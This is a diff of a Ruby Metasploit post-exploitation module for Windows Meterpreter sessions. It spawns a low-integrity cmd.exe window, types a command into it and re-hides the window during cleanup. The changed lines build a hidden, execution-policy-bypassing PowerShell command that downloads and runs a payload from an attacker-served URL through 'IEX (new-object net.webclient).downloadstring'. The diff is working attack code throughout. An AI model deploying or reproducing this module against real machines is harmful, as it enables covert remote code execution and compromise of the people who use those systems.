@@ -83,7 +83,7 @@ def win_shift(number)
83
83
def count_cmd_procs
84
84
count = 0
85
85
client . sys . process . each_process do |proc |
86
- if proc [ 'name' ] == 'powershell .exe'
86
+ if proc [ 'name' ] == 'cmd .exe'
87
87
count += 1
88
88
end
89
89
end
@@ -93,14 +93,13 @@ def count_cmd_procs
93
93
end
94
94
95
95
def cleanup
96
- if datastore [ 'SPAWN_PROMPT' ]
96
+ if datastore [ 'SPAWN_PROMPT' ] and @hwin
97
97
vprint_status ( "Rehiding window..." )
98
- # client.railgun.user32.ShowWindow(@hwin, 0)
98
+ client . railgun . user32 . ShowWindow ( @hwin , 0 )
99
99
end
100
100
end
101
101
102
102
def primer
103
- start_service
104
103
# syinfo is only on meterpreter sessions
105
104
e = "V2FrZSB1cCwgTmVvLi4uDQpUaGUgTWF0cml4IGhhcyB5b3UuLi4NCkZvbGxv\n dyB0aGUgV2hpdGUgUmFiYml0Lg=="
106
105
print_status ( "Running module against #{ sysinfo [ 'Computer' ] } " ) if not sysinfo . nil?
@@ -116,7 +115,7 @@ def primer
116
115
# Spawn low integrity cmd.exe
117
116
print_status ( "Spawning Low Integrity Cmd Prompt" )
118
117
windir = client . fs . file . expand_path ( "%windir%" )
119
- li_cmd_pid = client . sys . process . execute ( "powershell .exe" , nil , { 'Hidden' => false } ) . pid
118
+ li_cmd_pid = client . sys . process . execute ( "#{ windir } \\ system32 \\ cmd .exe" , nil , { 'Hidden' => false } ) . pid
120
119
121
120
count = count_cmd_procs
122
121
spawned = false
@@ -143,7 +142,7 @@ def primer
143
142
data = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , payload . encoded )
144
143
url = get_uri ( )
145
144
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
146
- command = download_and_run
145
+ command = "powershell.exe -w hidden -nop -ep bypass -c #{ download_and_run } "
147
146
command = Rex ::Text . decode_base64 ( e ) if datastore [ 'EEGG' ]
148
147
command . each_char do |c |
149
148
print c if command . length < 200
0 commit comments